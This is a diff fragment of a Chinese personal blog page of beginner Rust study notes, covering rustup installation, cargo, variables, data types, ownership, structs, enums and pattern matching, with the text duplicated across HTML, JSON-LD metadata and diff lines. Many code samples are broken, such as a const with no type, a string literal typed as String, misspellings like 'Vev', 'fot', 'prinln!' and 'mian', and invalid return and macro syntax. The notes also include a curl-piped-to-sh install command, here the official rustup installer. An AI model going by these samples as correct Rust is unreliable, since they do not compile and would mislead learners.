-edition = &quot;2021&quot;
-[dependencies]
-hyper = &quot;0.14.20&quot; # 来自https://crates.io/
-# hyper = { git = &quot;https://github.com/hyperium/hyper&quot; } # 来自第三方社区
-# hyper = { path = &quot;../hyper&quot; } # 来自本地文件
-</code></pre><p>构建依赖到项目中</p><p>cargo build halloword</p><p>当构建完成后，会在项目的根目录中创建一个名叫Cargo.lock的文件，该文件记录项目依赖的版本</p><p>src/main.rs是该项目的程序编写文件</p><p>在src/main.rs添加以下内容</p><pre><code>fn main() {
-    println!(&quot;hallo, world&quot;);
-};
+[package] name = &#34;hallo_word&#34; version = &#34;0.0.1&#34; edition = &#34;2021&#34; [dependencies] hyper = &#34;0.14.20&#34; # 来自https://crates.io/ # hyper = { git = &#34;https://github.com/hyperium/hyper&#34; } # 来自第三方社区 # hyper = { path = &#34;."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Rust学习笔记","item":"https://chenjunlinabc.github.io/posts/142/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Rust学习笔记","name":"Rust学习笔记","description":"Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会\n安装\n官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）\n通过rustup-init来安装Rust\nhttps://www.rust-lang.org/zh-CN/tools/install\nwindows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装\nLinux或者macOS则直接执行以下命令\ncurl \u0026ndash;proto \u0026lsquo;=https\u0026rsquo; \u0026ndash;tlsv1.2 -sSf https://sh.rustup.rs | sh\n注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC\n检查是否安装完成\nrustc \u0026ndash;version\n如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用\n更新rust\nrustup update\n卸载rust和rustup\nrustup self uninstall\n在安装rustup的同时也会安装Cargo\nCargo是rust的项目构建工具和包管理器\n检查是否安装成功\ncargo \u0026ndash;version\n创建第一个rust项目\ncargo new halloword\n其中Cargo.toml文件是项目的依赖库文件\n通过编辑Cargo.toml文件来添加依赖\nrust依赖可通过https://crates.io/查找\n[package] name = \u0026quot;hallo_word\u0026quot; version = \u0026quot;0.0.1\u0026quot; edition = \u0026quot;2021\u0026quot; [dependencies] hyper = \u0026quot;0.14.20\u0026quot; # 来自https://crates.io/ # hyper = { git = \u0026quot;https://github.com/hyperium/hyper\u0026quot; } # 来自第三方社区 # hyper = { path = \u0026quot;.","keywords":["Rust"],"articleBody":"Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会\n安装\n官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）\n通过rustup-init来安装Rust\nhttps://www.rust-lang.org/zh-CN/tools/install\nwindows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装\nLinux或者macOS则直接执行以下命令\ncurl –proto ‘=https’ –tlsv1.2 -sSf https://sh.rustup.rs | sh\n注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC\n检查是否安装完成\nrustc –version\n如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用\n更新rust\nrustup update\n卸载rust和rustup\nrustup self uninstall\n在安装rustup的同时也会安装Cargo\nCargo是rust的项目构建工具和包管理器\n检查是否安装成功\ncargo –version\n创建第一个rust项目\ncargo new halloword\n其中Cargo.toml文件是项目的依赖库文件\n通过编辑Cargo.toml文件来添加依赖\nrust依赖可通过https://crates.io/查找\n[package] name = \"hallo_word\" version = \"0.0.1\" edition = \"2021\" [dependencies] hyper = \"0.14.20\" # 来自https://crates.io/ # hyper = { git = \"https://github.com/hyperium/hyper\" } # 来自第三方社区 # hyper = { path = \"../hyper\" } # 来自本地文件 构建依赖到项目中\ncargo build halloword\n当构建完成后，会在项目的根目录中创建一个名叫Cargo.lock的文件，该文件记录项目依赖的版本\nsrc/main.rs是该项目的程序编写文件\n在src/main.rs添加以下内容\nfn main() { println!(\"hallo, world\"); }; 进入该项目根目录运行该项目\ncargo run\n或者直接编译main.rs\nrustc main.rs ./main\n注意：在windows上，需要加.exe，.\\main.exe\n在hallo word例子中看到，fn是创建函数的关键字，main是函数名，该函数调用了println!()，其实这是一个macro（宏），“hallo, world\"作为字符串参数传递到了该宏中\n另外cargo提供了一个命令，来不用生成二进制文件的前提下构建项目，来检查项目的错误\ncargo check\nbuild和run默认是debug版本的，如果需要编译release版本执行cargo build –release\n在rust中函数是一等公民，其中main函数是程序的入口函数（和golang一样）\n注释可以让rust编译器忽略，例如：// hallo word\n多行注释可使用块注释，例如：\n/* hallo word */ 文档注释，行注释例如：\n/// 1 /// 2 /// 3 文档块注释，例如：\n/** hallo word */ 注意：文档注释必须位于lib类型的包中，文档注释看使用md语法\n可使用cargo doc命令，来对文档注释生成html文件，放在target/doc目录下，也可以使用 cargo doc –open 生成文档后自动打开html网页\n变量通过let关键字来创建\nfn main() { let mut abc = \"hallo word\"; abc = \"hhh\"; println!(\" abc: {}\",abc); }; 注意：rust变量默认是不能变得，需要通过mut关键字来让变量可变\n变量存在遮蔽性，如果使用let关键重复声明同一个变量，会遮蔽之前声明的变量的值和类型\n变量的遮蔽性和mut关键字的区别是，mut关键字无法修改变量的类型，mut关键字修改的只能是相同类型的值\n常量通过const关键字来创建\nfn main() { const ABC = \"hallo word\"; println!(\" ABC: {}\",ABC); }; 常量不可变，也不能使用mut，而且必须声明类型（字面量也算是一种类型声明）\n数据类型\nrust是静态型编译语言，因此需要在编译之前就知道全部变量的类型\nrust有4大基础类型，这个基础类型又叫标量类型，分别是整型，浮点型，布尔型，字符型\n整型就是没有小数的整数（分符号类型和无符号类型，区别是是否为负数，可能为负数使用有符号类型，不可能为负数使用无符号类型）\n整型使用u表示无符号类型，用i表示有符号类型，再声明使用多少位的空间，例如i32，就是占32位空间的有符号类型\n还有2个特殊的类型，isize和usize，这个类型取决程序执行环境的系统架构，使用64位架构就是占64位空间\n整型支持十进制，八进制，二进制，十六进制和字节，rust默认使用i32类型\n注意：使用有符号类型会将以二进制补码的方式来存储\n浮点类型，就是带小数的数字，rust的浮点型有2个类型，分别是f32和f64，默认是f64，f64是双精度浮点型，f32类型是单精度，并且全部类型都是具备符号的（可为负数）\n布尔类型，布尔类型只能是这2个值得其中之一，true和false，布尔类型使用bool关键字来声明，例如 let a: bool = true;,当然也是可以使用字面量来声明\n字符类型，字符类型使用单引号包括，并且只能表示一个Unicode字符（因为字符类型只使用4个字节）\n字符串类型使用双引号表示，可表示多个字符，使用String表示，例如：\nlet a:String = \"hallo word\"; prinln!(\"{}\",a); 除了标量类型外还有复合类型，复合类型有6种，分别是元组和数组，枚举，结构体，字符串，切片\n元组类型就是无法扩展和收缩的数组（元组可使用不同的类型），长度是固定的，例如：\nlet a: (i64, f64) = (100,3.14); 获取元组的元素可通过解构的方式来完成，例如：\nlet a: (i64, f64) = (100,3.14); let (b,c) = a; 也可以通过索引值来获取，例如：\nlet a: (i64, f64) = (100,3.14); let b = a.1; 元组的索引是从0开始的\n数组类型和元组不同，数组的类型必须是相同类型的，数组长度也是固定的\nlet a = [1,233,666]; rust也提供了动态数组（vector），动态数组将被分配到堆内存空间，而普通数组会被分配到栈内存空间\n动态数组使用Vec的方式来声明，动态数组也不能使用不同的类型，但是动态数组可以扩展空间和缩小，而且全部元素在内存是相邻排列的，可使用Vec::new()来创建一个空的动态数组，例如：\nlet a: Vev = Vec::new(); 当然也可以提供初始值来创建\nlet b = vec![2,4,68]; rust可以根据字面量来自动推断出类型\n动态数组增加元素使用push方法，例如：\nlet mut a: Vev = Vec::new()； a.push(1); a.push(2); a.push(3); a.push(4); a.push(5);\n注意：动态数组离开当前作用域会被丢弃销毁\n获取动态数组的元素，可通过get方法或者索引来完成，例如：\nlet a = vec![2,4,68]; let b = a.get(2); let c = \u0026a[2]; get方法和索引的区别是，get方法访问超过数组不存在的元素是不会报错的，而是返回none，而索引访问是会导致报错，程序崩溃的\n遍历动态数组\nlet a = vec![2,4,68]; fot i in \u0026a{ println!(\"{}\",i); }; 动态数组支持枚举类型，这可以让动态数组存储不同类型的值，例如；\nenum Hallo{ Int(i64), Text(String), }; let a = vec![ Hallo::Int(666), Hallo::Text(Sting::from(\"hallo word\")), ]; 函数，是rust的第一个公民，main函数是rust程序入口文件，而且函数定义可在main函数之前或者之后，使用fn关键字来声明，例如：\nfn hallo_word(){ println!(\"hallo word\"); }; fn main(){ hallo_word(); }; 函数参数\nfn main(){ a(666); }; fn a(x:i64){ println!(\"{}\",x); }; 函数返回值\nfn main(){ a(666); }; fn a(x:i64) -\u003e{ x+123 }; 注意：返回值使用-\u003e返回，而且不能使用分号，因为语句无法作为返回值返回\nif判断\nlet a = 1; if a \u003c10{ println!(\"true \u003e10\"); }else if(a\u003e0){ println!(\"true \u003e10\"); }else{ println!('none') }; 注意：if判断必须提供一个布尔类型的值，否则会抛出错误\n表达式是可以赋值给变量的，例如：let boola = true; let a = if boola{1} else{2}\nrust的循环有3种，分别是for，while，以及loop\nfor遍历循环（常用于遍历集合元素），例如：\nlet a = [1,2,3,45,6]; for b in a { println!(\"{}\",b); }; while循环，条件为真执行，为假停止循环。例如：\nlet mut a = 0 while a \u003c= 10{ println!(\"hallo wrod\"); a +=1; }; loop关键字可以一直执行语句，直到被跳出（可使用break关键字），例如：\nlet mut count = 0; loop{ println!(\"hallo word\"); if (count == 5){ break; }; count +=1; }; loop循环可以搞个标签，来指定终止哪次循环（嵌套循环下），例如：‘a’: loop{ break ‘a’}\ncontinue操作符可跳出当前循环，去执行下次循环，一般搭配if分支语句来使用\n所有权\n所有权是rust的特性之一，无需gc垃圾回收机制就可以保证内存安全\n作用域是一个语句块在程序中有效的范围，在该范围内的变量是有效的，离开该范围后将自动释放内存空间\n释放内存空间是使用rust提供的一个叫drop函数，会在结尾}自动调用该函数\n当一个变量的值是指针时，赋值给另一个变量，当这2个变量离开作用域后，会导致二次释放，因为这2个变量指向的是同一个内存空间地址，二次释放会导致内存污染，这个指针实质上是在堆上的\nrust为了解决二次释放导致的内存安全问题，当一个存在指针值的变量赋值给另一个变量后，会销毁第一个变量，而无需再等到离开作用域，第一个变量将变成是无效的，这个赋值将不是复制，而是剪切板一样，移动数据\n如果需要复制堆的数据，可使用clone方法，例如：\nlet a = String::from(\"hallo word\"); let b = a.clone(); println!(\"{},{}\"a,b); 注意：移动数据只针对栈上的指针之类的有效，如果是赋值的是整型之类存在在栈上的，是不需要移动，因为复制指针这些\"引用类型\"需要耗费性能，rust通过copy trait标注来决定是否赋值给其他变量后，这个变量是否还有效，只要类型实现了copy trait就可以\n支持copy trait的类型：全部整数类型，布尔类型，浮点类型，字符类型，元组（部分类型支持）\n为了避免需要引用变量而导致原变量失效，rust提供了引用功能，例如：\nlet a = String::from(\"hallo word\"); let b = \u0026a; 引用不会具备该值的所有权，但是可以指向这个值\n引用实质上是借用的，是不能修改借用的值，如果想修改可提前对具备所有权的变量声明mut可变，例如：\nlet mut a = String::from(\"hallo\"); let b = \u0026mut a; 注意：同一个作用域中只能有一个对这个数据进行可变引用，使用多个可变引用会报错，这是为了避免竞争\n切片类型也是没有所有权的，对切片类型进行操作，是不会影响到原来的值，例如：\nlet a = String::from(\"hallo world\"); let hello = \u0026a[0..5]; let world = \u0026a[6..11]; a.clear(); 结构体与元组一样，元素可以是多个类型，但是和元组不同的是，结构图具备元素别名，并且使用struct来定义结构体，例如：\nstruct Name{ id: i64, username: String, email: String, pass: String, }; 上面例子就是一个结构体，这个结构体的名称叫Name，具备4个字段，每个字段有自己对于的字段名称和类型\n有结构体当然也有结构体实例，结构体是结构体实例的抽象\nlet name1 = Name{ id: 1, username: String::from(\"root\"), email: String::form(\"a@xiaochenabc123.test.com\"), pass: String::form(\"123456789\"), }; println!(\"hallo {}\", name1.username); name1.email = String::from(\"b@xiaochenabc123.test.com\"); 注意：结构体实例必须按照结构体每个字段的类型要求进行初始化，不需要按照结构体声明的字段顺序一样\n利用函数返回值来完成结构体的实例化，例如：\nfn NameTest(username: String, email: String, pass: String) -\u003e{ Name{ username, email, pass, }; }; fn main(){ let name01 = NameTest(\"user01\",\"test@xiaochenabc123.test.com\",\"12356987\"); println!(\"hallo {}\", name01.username); }; 基于已有的实例，创建新的实例，例如：\nlet name2 = Name{ username: String::from(\"uesr02\"), ..name01 }; 注意：其中..name01是表示其他字段将从name01实例中获取\n元组结构体（结构体字段没名称的就叫元组结构体）\nstruct Abc(i64,bool,f64); let abc1 = Abc(100,true,3.14); 单元结构体（这玩意和go的空结构体一样，只定义一个结构体，但是没有字段和属性）\nstruct Xyz; let xyz1 = Xyz; 结构体的所有权：当使用已有的实例，创建新的实例时，改变的字段的所有权将会被转移到新的实例，原有的实例的那个字段将失效，其他字段正常，因此使用结构体应该避免使用引用类型\n枚举\nenum HomeTest{ Hallo, Xyz, Abc, Hahaha(i64) }; struct Demo{ home: HomeTest, id: i64, } fn main(){ let test1 = HomeTest::Hallo; let test2 = HomeTest::Abc; println!(test1); println!(test2); let a = Demo{ home: HomeTest::Abc, id: 1, } let b = Demo{ home: HomeTest::Hallo, id: 2, } } 上面例子中，通过enum关键字声明并且定义一个枚举类型，这个枚举类型有3个枚举成员，通过::操作符来访问枚举的成员，枚举是一种类型，因此可用于函数参数类型，结构体类型等等\n枚举的成员可以是任何类型的数据，也可以限制成员的数据类型，结构体使用{}，单个使用()，多个可使用逗号分割\nrust的空值使用Option枚举类型来表示，而不是null\nOption，Some，None都包含在prelude标准库中，不需要在源码中声明，或者引用，直接就可以使用\nOption枚举类型的实现\nenum Option { Some(T), None, }; 表示一个空值\nlet null1: Option = None; 如果使用None，则需要提前提供是什么类型，因为无法通过None来推断出类型\nOption比null好的原因是，Option(T)和任何类型都不相同，无法将Option和i64类型的值进行处理\n如果有值则：\nlet num1:Option = Some(233); 如果使用Some，表示有个值存于Some中\n使用Option枚举类型：\nfn Test(a:Option) -\u003e Option { match a { Some(i) =\u003e Some(i), None =\u003e None, } } let abc = Some(666); let xyz = Test(abc); 上面例子中，通过Test函数传入一个Option类型的参数，并且返回一个Option类型的值，使用match模式匹配，如果传入None则返回None，传入Some(i64)，则返回其本身（也就是Some(i64)）\n模式匹配\nmatch语句\nenum Demo{ Hallo, Abc, Xyz, }; let test1 = Demo::Xyz; let test2 = match test1 { Demo::Hallo =\u003e \"hallo word\", Demo::Abc | Demo::Xyz =\u003e \"hallo abcxyz\", }, _ =\u003e\"0\", }; 上面例子中进行匹配Demo对应的枚举类型，match会穷尽列出全部已知的可能，如果存在不知道的可能，使用下划线_来表示，match语句与switch语句很像，match的分支必须指向一个表达式，而且每个分支的表达式结果必须是相同类型的\n假如只想对单个模式来进行处理，可使用if let语句，例如：\nlet test1 = Demo::Xyz; if let Test2(Demo::Xyz) = test1{ println!(\"hallo wrod\"); } 上面例子中，如果匹配到Demo::Xyz，输出hallo wrod，如果不匹配则忽略\n注意：match和if let会在模式匹配时进行覆盖老值，绑定新的值\nmatches!宏匹配，可以将一个表达式和模式来进行匹配，返回结果是布尔值，例如：\nlet a = 1; assert!(matches!(1..100 | -1..-100)); 方法\nrust使用impl关键字来定义方法\nstruct Demo { id: i64, user: String, } impl Demo { fn new(id: i64, user: String) -\u003e Demo { Demo{ id: id, user: user, } } fn printa(\u0026self){ println!(self.user) } } fn mian(){ let a = Demo{ id: 1, user: \"root\", } a.printa() } \u0026self为借用Demo结构体，new函数是Demo方法的关联函数，用于初始化结构体实例\n\u0026self是self: \u0026Self的简写，self有所有权，而\u0026self是表示不可变借用，\u0026mut self就是可变借用\nimpl Demo是struct Demo的实现，另外rust允许方法名与结构体的字段名相同，调用方法加()，否则就是在访问字段\nrust自动引用和解引用：当一个对象调用方法时，会自动为该对象添加\u0026，\u0026mut，*来确保该对象能与方法匹配\n关联函数：当一个存在于impl中，但是没有使用self的函数就被叫关联函数，通常存在impl中的new函数是结构体的构造实例器（rust没有使用new作为关键字，并不强制使用new）\n关联函数因为不是方法，需要使用::来调用，例如Demo::new(2,“admin”)\nrust允许将结构体定义成多个impl块，而不需要全部都写到一块，更灵活扩展\n枚举类型也可被实现\n泛型与特征\n泛型，当需要对可能存在不同类型的数据处理，但是处理逻辑是一样时，可使用泛型来避免重复，例如：\nfn test","wordCount":"1323","inLanguage":"en","datePublished":"2022-03-28T13:22:00Z","dateModified":"2022-03-28T13:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/142/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Rust学习笔记</h1><div class=post-meta><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Rust%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会</p><p>安装</p><p>官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）</p><p>通过rustup-init来安装Rust</p><p><a href=https://www.rust-lang.org/zh-CN/tools/install>https://www.rust-lang.org/zh-CN/tools/install</a></p><p>windows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装</p><p>Linux或者macOS则直接执行以下命令</p><p>curl &ndash;proto &lsquo;=https&rsquo; &ndash;tlsv1.2 -sSf <a href=https://sh.rustup.rs>https://sh.rustup.rs</a> | sh</p><p>注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC</p><p>检查是否安装完成</p><p>rustc &ndash;version</p><p>如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用</p><p>更新rust</p><p>rustup update</p><p>卸载rust和rustup</p><p>rustup self uninstall</p><p>在安装rustup的同时也会安装Cargo</p><p>Cargo是rust的项目构建工具和包管理器</p><p>检查是否安装成功</p><p>cargo &ndash;version</p><p>创建第一个rust项目</p><p>cargo new halloword</p><p>其中Cargo.toml文件是项目的依赖库文件</p><p>通过编辑Cargo.toml文件来添加依赖</p><p>rust依赖可通过https://crates.io/查找</p><pre><code>[package]
+name = &quot;hallo_word&quot;
+version = &quot;0.0.1&quot;
+edition = &quot;2021&quot;
+[dependencies]
+hyper = &quot;0.14.20&quot; # 来自https://crates.io/
+# hyper = { git = &quot;https://github.com/hyperium/hyper&quot; } # 来自第三方社区
+# hyper = { path = &quot;../hyper&quot; } # 来自本地文件
+</code></pre><p>构建依赖到项目中</p><p>cargo build halloword</p><p>当构建完成后，会在项目的根目录中创建一个名叫Cargo.lock的文件，该文件记录项目依赖的版本</p><p>src/main.rs是该项目的程序编写文件</p><p>在src/main.rs添加以下内容</p><pre><code>fn main() {
+    println!(&quot;hallo, world&quot;);
+};
 </code></pre><p>进入该项目根目录运行该项目</p><p>cargo run</p><p>或者直接编译main.rs</p><p>rustc main.rs
-./main</p><p>注意：在windows上，需要加.exe，.\main.exe</p><p>在hallo word例子中看到，fn是创建函数的关键字，main是函数名，该函数调用了println!()，其实这是一个macro（宏），&ldquo;hallo, world"作为字符串参数传递到了该宏中</p><p>另外cargo提供了一个命令，来不用生成二进制文件的前提下构建项目，来检查项目的错误</p><p>cargo check</p><p>build和run默认是debug版本的，如果需要编译release版本执行cargo build &ndash;release</p><hr><p>在rust中函数是一等公民，其中main函数是程序的入口函数（和golang一样）</p><p>注释可以让rust编译器忽略，例如：// hallo word</p><p>多行注释可使用块注释，例如：</p><pre><code>/*
-    hallo
-    word
-*/
-</code></pre><p>文档注释，行注释例如：</p><pre><code>/// 1
-/// 2
-/// 3
-</code></pre><p>文档块注释，例如：</p><pre><code>/**
-    hallo
-    word
-*/
-</code></pre><p>注意：文档注释必须位于lib类型的包中，文档注释看使用md语法</p><p>可使用cargo doc命令，来对文档注释生成html文件，放在target/doc目录下，也可以使用 cargo doc &ndash;open 生成文档后自动打开html网页</p><p>变量通过let关键字来创建</p><pre><code>fn main() {
-    let mut abc = &quot;hallo word&quot;;
-    abc = &quot;hhh&quot;;
-    println!(&quot; abc: {}&quot;,abc);
-};
-</code></pre><p>注意：rust变量默认是不能变得，需要通过mut关键字来让变量可变</p><p>变量存在遮蔽性，如果使用let关键重复声明同一个变量，会遮蔽之前声明的变量的值和类型</p><p>变量的遮蔽性和mut关键字的区别是，mut关键字无法修改变量的类型，mut关键字修改的只能是相同类型的值</p><p>常量通过const关键字来创建</p><pre><code>fn main() {
-    const ABC = &quot;hallo word&quot;;
-    println!(&quot; ABC: {}&quot;,ABC);
-};
-</code></pre><p>常量不可变，也不能使用mut，而且必须声明类型（字面量也算是一种类型声明）</p><hr><p>数据类型</p><p>rust是静态型编译语言，因此需要在编译之前就知道全部变量的类型</p><p>rust有4大基础类型，这个基础类型又叫标量类型，分别是整型，浮点型，布尔型，字符型</p><p>整型就是没有小数的整数（分符号类型和无符号类型，区别是是否为负数，可能为负数使用有符号类型，不可能为负数使用无符号类型）</p><p>整型使用u表示无符号类型，用i表示有符号类型，再声明使用多少位的空间，例如i32，就是占32位空间的有符号类型</p><p>还有2个特殊的类型，isize和usize，这个类型取决程序执行环境的系统架构，使用64位架构就是占64位空间</p><p>整型支持十进制，八进制，二进制，十六进制和字节，rust默认使用i32类型</p><p>注意：使用有符号类型会将以二进制补码的方式来存储</p><p>浮点类型，就是带小数的数字，rust的浮点型有2个类型，分别是f32和f64，默认是f64，f64是双精度浮点型，f32类型是单精度，并且全部类型都是具备符号的（可为负数）</p><p>布尔类型，布尔类型只能是这2个值得其中之一，true和false，布尔类型使用bool关键字来声明，例如 let a: bool = true;,当然也是可以使用字面量来声明</p><p>字符类型，字符类型使用单引号包括，并且只能表示一个Unicode字符（因为字符类型只使用4个字节）</p><p>字符串类型使用双引号表示，可表示多个字符，使用String表示，例如：</p><pre><code>let a:String = &quot;hallo word&quot;;
-prinln!(&quot;{}&quot;,a);
-</code></pre><p>除了标量类型外还有复合类型，复合类型有6种，分别是元组和数组，枚举，结构体，字符串，切片</p><p>元组类型就是无法扩展和收缩的数组（元组可使用不同的类型），长度是固定的，例如：</p><pre><code>let a: (i64, f64) = (100,3.14);
-</code></pre><p>获取元组的元素可通过解构的方式来完成，例如：</p><pre><code>let a: (i64, f64) = (100,3.14);
-let (b,c) = a;
-</code></pre><p>也可以通过索引值来获取，例如：</p><pre><code>let a: (i64, f64) = (100,3.14);
-let b = a.1;
-</code></pre><p>元组的索引是从0开始的</p><p>数组类型和元组不同，数组的类型必须是相同类型的，数组长度也是固定的</p><pre><code>let a = [1,233,666];
-</code></pre><p>rust也提供了动态数组（vector），动态数组将被分配到堆内存空间，而普通数组会被分配到栈内存空间</p><p>动态数组使用Vec的方式来声明，动态数组也不能使用不同的类型，但是动态数组可以扩展空间和缩小，而且全部元素在内存是相邻排列的，可使用Vec::new()来创建一个空的动态数组，例如：</p><pre><code>let a: Vev&lt;u64&gt; = Vec::new();
-</code></pre><p>当然也可以提供初始值来创建</p><pre><code>let b = vec![2,4,68];
+./main</p><p>注意：在windows上，需要加.exe，.\main.exe</p><p>在hallo word例子中看到，fn是创建函数的关键字，main是函数名，该函数调用了println!()，其实这是一个macro（宏），&ldquo;hallo, world"作为字符串参数传递到了该宏中</p><p>另外cargo提供了一个命令，来不用生成二进制文件的前提下构建项目，来检查项目的错误</p><p>cargo check</p><p>build和run默认是debug版本的，如果需要编译release版本执行cargo build &ndash;release</p><hr><p>在rust中函数是一等公民，其中main函数是程序的入口函数（和golang一样）</p><p>注释可以让rust编译器忽略，例如：// hallo word</p><p>多行注释可使用块注释，例如：</p><pre><code>/*
+    hallo
+    word
+*/
+</code></pre><p>文档注释，行注释例如：</p><pre><code>/// 1
+/// 2
+/// 3
+</code></pre><p>文档块注释，例如：</p><pre><code>/**
+    hallo
+    word
+*/
+</code></pre><p>注意：文档注释必须位于lib类型的包中，文档注释看使用md语法</p><p>可使用cargo doc命令，来对文档注释生成html文件，放在target/doc目录下，也可以使用 cargo doc &ndash;open 生成文档后自动打开html网页</p><p>变量通过let关键字来创建</p><pre><code>fn main() {
+    let mut abc = &quot;hallo word&quot;;
+    abc = &quot;hhh&quot;;
+    println!(&quot; abc: {}&quot;,abc);
+};
+</code></pre><p>注意：rust变量默认是不能变得，需要通过mut关键字来让变量可变</p><p>变量存在遮蔽性，如果使用let关键重复声明同一个变量，会遮蔽之前声明的变量的值和类型</p><p>变量的遮蔽性和mut关键字的区别是，mut关键字无法修改变量的类型，mut关键字修改的只能是相同类型的值</p><p>常量通过const关键字来创建</p><pre><code>fn main() {
+    const ABC = &quot;hallo word&quot;;
+    println!(&quot; ABC: {}&quot;,ABC);
+};
+</code></pre><p>常量不可变，也不能使用mut，而且必须声明类型（字面量也算是一种类型声明）</p><hr><p>数据类型</p><p>rust是静态型编译语言，因此需要在编译之前就知道全部变量的类型</p><p>rust有4大基础类型，这个基础类型又叫标量类型，分别是整型，浮点型，布尔型，字符型</p><p>整型就是没有小数的整数（分符号类型和无符号类型，区别是是否为负数，可能为负数使用有符号类型，不可能为负数使用无符号类型）</p><p>整型使用u表示无符号类型，用i表示有符号类型，再声明使用多少位的空间，例如i32，就是占32位空间的有符号类型</p><p>还有2个特殊的类型，isize和usize，这个类型取决程序执行环境的系统架构，使用64位架构就是占64位空间</p><p>整型支持十进制，八进制，二进制，十六进制和字节，rust默认使用i32类型</p><p>注意：使用有符号类型会将以二进制补码的方式来存储</p><p>浮点类型，就是带小数的数字，rust的浮点型有2个类型，分别是f32和f64，默认是f64，f64是双精度浮点型，f32类型是单精度，并且全部类型都是具备符号的（可为负数）</p><p>布尔类型，布尔类型只能是这2个值得其中之一，true和false，布尔类型使用bool关键字来声明，例如 let a: bool = true;,当然也是可以使用字面量来声明</p><p>字符类型，字符类型使用单引号包括，并且只能表示一个Unicode字符（因为字符类型只使用4个字节）</p><p>字符串类型使用双引号表示，可表示多个字符，使用String表示，例如：</p><pre><code>let a:String = &quot;hallo word&quot;;
+prinln!(&quot;{}&quot;,a);
+</code></pre><p>除了标量类型外还有复合类型，复合类型有6种，分别是元组和数组，枚举，结构体，字符串，切片</p><p>元组类型就是无法扩展和收缩的数组（元组可使用不同的类型），长度是固定的，例如：</p><pre><code>let a: (i64, f64) = (100,3.14);
+</code></pre><p>获取元组的元素可通过解构的方式来完成，例如：</p><pre><code>let a: (i64, f64) = (100,3.14);
+let (b,c) = a;
+</code></pre><p>也可以通过索引值来获取，例如：</p><pre><code>let a: (i64, f64) = (100,3.14);
+let b = a.1;
+</code></pre><p>元组的索引是从0开始的</p><p>数组类型和元组不同，数组的类型必须是相同类型的，数组长度也是固定的</p><pre><code>let a = [1,233,666];
+</code></pre><p>rust也提供了动态数组（vector），动态数组将被分配到堆内存空间，而普通数组会被分配到栈内存空间</p><p>动态数组使用Vec的方式来声明，动态数组也不能使用不同的类型，但是动态数组可以扩展空间和缩小，而且全部元素在内存是相邻排列的，可使用Vec::new()来创建一个空的动态数组，例如：</p><pre><code>let a: Vev&lt;u64&gt; = Vec::new();
